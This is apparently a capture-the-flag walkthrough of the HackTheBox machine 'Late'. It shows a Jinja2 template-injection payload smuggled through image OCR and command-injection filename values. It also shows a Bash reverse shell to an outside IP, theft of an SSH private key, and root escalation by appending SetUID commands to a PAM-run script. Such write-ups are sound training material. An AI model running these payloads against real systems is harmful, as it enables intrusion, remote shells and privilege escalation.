Late really had two steps. The first is to find a online image OCR website that is vulnerable to server-side template injection (SSTI) via the OCRed text in the image. This is relatively simple to find, but getting the fonts correct to exploit the vulnerability is a bit tricky. Still, some trial and error pays off, and results in a shell. From there, I’ll identify a script that’s running whenever someone logs in over SSH. The current user has append access to the file, and therefore I can add a malicious line to the script and connect over SSH to get execution as root. In Beyond Root, a YouTube video showing basic analysis of the webserver, from NGINX to Gunicorn to Python Flask.

## Box Info

Name Late
Release Date 23 Apr 2022
Retire Date 30 Jul 2022
OS Linux
Base Points Easy [20]
Rated Difficulty
00 days, 03 hours, 07 mins, 15 seconds
00 days, 03 hours, 16 mins, 01 seconds
Creator

## Recon

### nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$nmap -p- --min-rate 10000 10.10.11.156 Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-25 15:49 UTC Nmap scan report for 10.10.11.156 Host is up (0.096s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.156
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-25 15:49 UTC
Nmap scan report for 10.10.11.156
Host is up (0.090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds


Based on the OpenSSH version, the host is likely running Ubuntu bionic 18.04.

### Website - TCP 80

#### Site

There The site is for a set of online image tools:

The “Contact” link does lead to a form, but on submitting it, it just sends a GET request without the form data, so this is not a useful path.

In the “Frequently Asked Questions” section, there’s a paragraph with a link to images.late.htb:

I’ll add both the domain and the subdomain to my /etc/hosts file:

10.10.11.156 late.htb images.late.htb


Running wfuzz -u http://10.10.11.156 -H "Host: FUZZ.late.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 9461 finds the images subdomain, but nothing else.

#### Tech Stack / Directory Brute Force

All of the page extensions are .html, and the HTTP headers don’t provide any additional information.

I’ll run feroxbuster against the site, but it doesn’t find anything worth looking into. There’s an /assets directory with static content like js, images, css, and fonts.

### images.late.htb

The site is a simple HTML form that claims it will convert an image to text:

It mentions using Flask, which is a Python-based web framework.

When I upload an image (the one I had for testing didn’t have any text in it), it returns a results.txt file:

<p></p>


I’ll go into KolourPaint (any paint application would do) and created a simple image:

When I upload that, it returns:

<p>This is a test
</p>


## Shell as svc_acc

### Identfy Vulnerability

#### Strategy

There’s obviously some kind of optical character regocnition (OCR) going on at the server. If I think about how the text is handled, I can look for the most logical ways to exploit it.

The uploaded image is handled by Flask. It is most likely passed to a program like Tesseract OCR to do the OCR, and then the results are packaged into this HTML template and returned as results.txt.

The attack surface then is most likely a command injection where the uploaded image file is passed to the OCR application, or a template injection in how the response is processed into results.txt.

I can rule out (or at least de-prioritize) other attacks. I don’t see why there would be a database involved here, so SQL injection seems unlikely. Similarly, the results aren’t stored and displayed to any other users, so XSS doesn’t make much sense.

#### Command Injection - Fail

The simplest thing to look at is command injection. If the server is passing the filename to some kind of call to Bash to call the OCS program in an unsafe manner, then perhaps I can inject commands into that.

I’ll send the request uploading test.png to Burp Repeater, and resend it to make sure it works as expected, and it does. Then I’ll change the filename field to test.png;id, but it fails saying “Invalid Extension”:

That’s easily fixed, but it returns the OCRed text without issue:

I’ll try a few other things, like test$(id).png (to check for an alternative kind of injection), and test$(ping -c 2 10.10.14.6).png to check for blind injection, but no change. It doesn’t seem like it’s command injectable. I’ll touch on why at the end of the video in Beyond Root.

#### SSTI

The server is likely taking the OCR results and rendering them into a template using the Jinja templating engine. To test for server-side template injection (SSTI), I’ll send the following image:

When I upload this, if it returns “{{ 7*7 }}”, that shows the OCR read the text and returned it. However, it if returns “49”, then it shows my input was executed, which is evidence of SSTI. It returns:

<p>49
</p>


### Exploit SSTI

#### Finding Font

Flask uses the Jinja2 templating engine, and PayloadsAllTheThings has a nice Jinja2 section on its SSTI page. It recommends the following three payloads to turn SSTI into RCE:

{{ cycler.__init__.__globals__.os.popen('id').read() }}



The biggest challenge is going to be to get the OCR to correctly identify the characters correctly.

When I send {{ cycler.__init__.__globals__.os.popen('id').read() }}, it returns an error:

It’s important to note, it’s complaining about the lack of an init attribute. But I’m not trying to reference init, I’m trying to reference __init__ (said out loud as “dunder init”). It seems the OCR is missing the underscores.

I’ll remove the {{ }} from the image, and resubmit. It returns:

<p>cycler. init. globals__.os.popen('id').read()
</p>


It’s missing underscores before and after init, as well as before globals, and has inserted spaces.

I’ll try changing different fonts to see if I can find one that shows the right payload. Many people complained in reviews about this being really painful. I found the process to go smoothly by updating the image / font on one monitor in KolourPaint, hitting Ctrl-s to save, going back to the Late page (which already has the filename in the form), clicking “Scan Image”, and then opening the downloaded results.txt file worked pretty well, and I am able to test a font in 5-10 seconds.

The first one I’ll try, “aakar”, is really close:

<p>cycler.__init__.__globals__.os.popen(’id’).read()
</p>


But it’s using fancy quote marks, and that fails when I try to add back in the {{ }}:

When I get to FreeMono, it looks really close:

<p>cycler.__init__.__globals__.os.popen('id') .read()
</p>


There’s an extra space before .read(), but it might work if changing the spacing happens when I add {{ }}? I’ll try it:

It works:

<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

</p>


#### Shell

To get a shell from this, I’ll update the payload with the shorted reverse shell I can think of:

I’ll create r with a basic Bash reverse shell (explained here)

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.6/443 0>&1


And host it with python3 -m http.server 80. On submitting, it gets r from my webserver:

10.10.11.156 - - [25/Jul/2022 17:13:04] "GET /r HTTP/1.1" 200 -


And then there’s a connection at nc:

oxdf@hacky$nc -lnvp 443 Listening on 0.0.0.0 443 Connection received on 10.10.11.156 55630 bash: cannot set terminal process group (1237): Inappropriate ioctl for device bash: no job control in this shell svc_acc@late:~/app$


I’ll upgrade the shell using the standard tricks (explained here):

svc_acc@late:~/app$script /dev/null -c bash Script started, file is /dev/null svc_acc@late:~/app$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$stty raw -echo ; fg nc -lnvp 443 reset reset: unknown terminal type unknown Terminal type? screen svc_acc@late:~/app$


And grab user.txt:

svc_acc@late:~$cat user.txt 91974f93************************  ### SSH There’s also a RSA key pair in /home/svc_acc/.ssh: svc_acc@late:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub


I’ll download id_rsa and use it to connect with an even more solid shell:

oxdf@hacky$ssh -i ~/keys/late-svc_acc svc_acc@late.htb svc_acc@late:~$


## Shell as root

### Enumeration

#### Identify File

There’s an interesting file in /usr/local/sbin called ssh-alert.sh. Running LinPEAS calls it out a few times:

I don’t typically get too excited about “.sh files in path”, but modified recently is interesting for sure, and the fact that it’s writable as well! That seems like a good combination to be part of an exploitation path.

To figure out if/how this script is being executed, I’ll look for it in /etc, where configuration files typically live on Linux:

svc_acc@late:~$grep -r ssh-alert.sh /etc/ 2>/dev/null /etc/pam.d/sshd:session required pam_exec.so /usr/local/sbin/ssh-alert.sh  This shows that it’s running the script after each successful SSH login. Running pspy can also reveal this, though not as a cron as is typically observed on HTB machines. If PSpy is running when someone connects to the box with SSH, it will show the various processes that kick off. 2022/07/25 20:49:09 CMD: UID=0 PID=25694 | /usr/sbin/sshd -D -R 2022/07/25 20:49:09 CMD: UID=110 PID=25695 | sshd: [net] 2022/07/25 20:49:10 CMD: UID=0 PID=25696 | sshd: svc_acc [priv] 2022/07/25 20:49:10 CMD: UID=0 PID=25698 | /bin/bash /usr/local/sbin/ssh-alert.sh 2022/07/25 20:49:10 CMD: UID=0 PID=25700 | /bin/bash /usr/local/sbin/ssh-alert.sh 2022/07/25 20:49:10 CMD: UID=0 PID=25701 | sendmail: MTA: 26PKnA7E025701 localhost.localdomain [127.0.0.1]: DATA 2022/07/25 20:49:10 CMD: UID=1000 PID=25704 | sshd: svc_acc 2022/07/25 20:49:10 CMD: UID=0 PID=25703 | sensible-mda svc_acc@new root 127.0.0.1 2022/07/25 20:49:10 CMD: UID=0 PID=25702 | sendmail: MTA: ./26PKnA7E025701 from queue 2022/07/25 20:49:10 CMD: UID=1000 PID=25705 | -bash 2022/07/25 20:49:10 CMD: UID=1000 PID=25706 | 2022/07/25 20:49:10 CMD: UID=??? PID=25708 | ??? 2022/07/25 20:49:10 CMD: UID=1000 PID=25711 | -bash 2022/07/25 20:49:10 CMD: UID=1000 PID=25710 | locale 2022/07/25 20:49:10 CMD: UID=1000 PID=25714 | 2022/07/25 20:49:10 CMD: UID=1000 PID=25713 | /bin/sh /usr/bin/lesspipe 2022/07/25 20:49:10 CMD: UID=1000 PID=25712 | -bash 2022/07/25 20:49:10 CMD: UID=??? PID=25717 | ???  The first three are the SSH daemon handling the connection. Then there’s two calls as root to ssh-alert.sh. Then a call to sendmail (which will make more sense after looking at the script), and then some other login stuff as scv_acc. #### Script Analysis The script itself is pretty simple: #!/bin/bash RECIPIENT="root@late.htb" SUBJECT="Email from Server Login: SSH Alert" BODY=" A SSH login was detected. User:$PAM_USER
User IP Host: $PAM_RHOST Service:$PAM_SERVICE
TTY:         $PAM_TTY Date: date Server: uname -a " if [${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT}${BODY}" | /usr/sbin/sendmail ${RECIPIENT} fi  It’s sending an email to root@late.htb with information about each SSH login. I don’t see any way to abuse this directly. #### Script Permissions The script is owned by svc_acc, and is writable by this account as well: svc_acc@late:~$ ls -l /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Jul 25 21:01 /usr/local/sbin/ssh-alert.sh


However, if I try to overwrite it, the system blocks it:

svc_acc@late:~$echo > /usr/local/sbin/ssh-alert.sh -bash: /usr/local/sbin/ssh-alert.sh: Operation not permitted  That’s because the a attribute is set, which says to only allow appending: svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh


Despite being the owner for the file, svc_acc is not able to remove that:

svc_acc@late:~$chattr -a /usr/local/sbin/ssh-alert.sh chattr: Operation not permitted while setting flags on /usr/local/sbin/ssh-alert.sh  That’s because (from the man page):  a A file with the 'a' attribute set can only be opened in append mode for writing. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.  Still, appending is good enough for exploiting. Also, it seems that every minute this file is getting reset to it’s original version, based on the timestamp analysis. ### Exploit To exploit this, I’ll use the following line to create a SetUID Bash executable: svc_acc@late:~$ echo -e "cp /bin/bash /tmp/.0xdf\nchmod 4755 /tmp/.0xdf"
cp /bin/bash /tmp/.0xdf
chmod 4755 /tmp/.0xdf
svc_acc@late:~$echo -e "cp /bin/bash /tmp/.0xdf\nchmod 4755 /tmp/.0xdf" >> /usr/local/sbin/ssh-alert.sh  Now I’ll log in over SSH as svc_acc, and there’s .0xdf owned by root with the SetUID bit on: svc_acc@late:~$ ls -l /tmp/.0xdf
-rwsr-xr-x 1 root root 1113504 Jul 25 21:12 /tmp/.0xdf


I’ll run with -p to not drop privileges and get a root shell:

svc_acc@late:~\$ /tmp/.0xdf -p
.0xdf-4.4#


And read root.txt:

.0xdf-4.4# cat root.txt
f8f10a31************************


## Beyond Root

It’s always a good idea to use a root shell on a box to make sure you understand how the box is configured. Depending on your skill and experience, the level of understanding may vary, but there’s always something to learn.

In this video, I’ll walk through the basic configuration of the webserver, starting from NGINX, through Gunicorn and its service, then to the source files it runs, ending up at a Python Flask application.